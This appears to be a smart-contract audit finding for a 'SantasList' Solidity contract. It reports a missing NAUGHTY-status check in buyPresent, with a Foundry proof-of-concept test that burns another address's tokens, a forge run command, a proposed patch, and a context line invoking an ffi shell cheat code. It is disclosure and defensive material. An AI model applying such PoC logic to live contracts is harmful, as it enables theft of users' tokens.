Summary
Can buy present for any address with sufficient Santa Tokens through SantasList::buyPresent(address)
function because it is missing a NAUGHTY
status check for presentReceiver
address.
Vulnerability Details
The function SantasList::buyPresent(address)
lacks a check where it verifies if the target address - presentReceiver
address (argument of the function) - status inside the mappings s_theListCheckedOnce
and s_theListCheckedTwice
is NAUGHTY
.
Proof of Concept
Apply the following diff:
modified test/unit/SantasListTest.t.sol
@@ -152,4 +152,62 @@ contract SantasListTest is Test {
cmds[1] = string.concat("youve-been-pwned");
cheatCodes.ffi(cmds);
}
+
+ function testBuyPresentForNonNaughty(address randomAddress) public {
+ // `randomAddress` cannot be equal to zero address in order to mint a NFT
+ vm.assume(randomAddress != address(0));
+
+ // Impersonates Santa
+ vm.startPrank(santa);
+
+ // Change `user` status to EXTRA_NICE
+ santasList.checkList(user, SantasList.Status.EXTRA_NICE);
+ santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
+
+ // Change `randomAddress` status to NOT_CHECKED_TWICE
+ santasList.checkList(randomAddress, SantasList.Status.NOT_CHECKED_TWICE);
+ santasList.checkTwice(randomAddress, SantasList.Status.NOT_CHECKED_TWICE);
+
+ // Stops impersonating Santa
+ vm.stopPrank();
+
+ // Time Travel to Christmas 2023!
+ vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
+
+ // Impersonates `user`
+ vm.startPrank(user);
+
+ // Collect present
+ santasList.collectPresent();
+
+ // Amount of Santa Token received
+ uint256 tokenBalance = santaToken.balanceOf(user);
+
+ // Transfer `user` Santa Tokens to `randomAddress`
+ santaToken.transfer(randomAddress, tokenBalance);
+
+ // Stops impersonating `user`
+ vm.stopPrank();
+
+ // Impersonates `randomAddress`
+ vm.startPrank(randomAddress);
+
+ // Approve `santasList` to burn `randomAddress` Santa Tokens
+ santaToken.approve(address(santasList), tokenBalance);
+
+ // Stops impersonating `randomAddress`
+ vm.stopPrank();
+
+ // Impersonates `user` again
+ vm.startPrank(user);
+
+ // Buy `randomAddress` a nice present
+ santasList.buyPresent(randomAddress);
+
+ // Stops impersonating `user`
+ vm.stopPrank();
+
+ // Assert if `randomAddress` Santa Token balance has been burned
+ assertEq(santaToken.balanceOf(randomAddress), 0);
+ }
}
And run the testBuyPresentForNonNaughty
test:
forge test --match-test testBuyPresentForNonNaughty
Impact
Can buy present for any address, be it NAUGHTY
or not, with sufficient Santa Tokens, through SantasList::buyPresent(address)
function.
Tools Used
Recommendations
Add a new error SantasList__ReceiverNotNaughty()
and verify if presentReceiver
status inside the mappings s_theListCheckedOnce
and s_theListCheckedTwice
is NAUGHTY
:
modified src/SantasList.sol
@@ -62,6 +62,7 @@ contract SantasList is ERC721, TokenUri {
error SantasList__NotChristmasYet();
error SantasList__AlreadyCollected();
error SantasList__NotNice();
+ error SantasList__ReceiverNotNaughty();
/*//////////////////////////////////////////////////////////////
TYPES
@@ -170,8 +171,11 @@ contract SantasList is ERC721, TokenUri {
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ if (s_theListCheckedOnce[presentReceiver] != Status.NAUGHTY && s_theListCheckedTwice[presentReceiver] != Status.NAUGHTY) {
+ revert SantasList__ReceiverNotNaughty();
+ }
+ i_santaToken.burn(presentReceiver);
+ _mintAndIncrement();
}
/*//////////////////////////////////////////////////////////////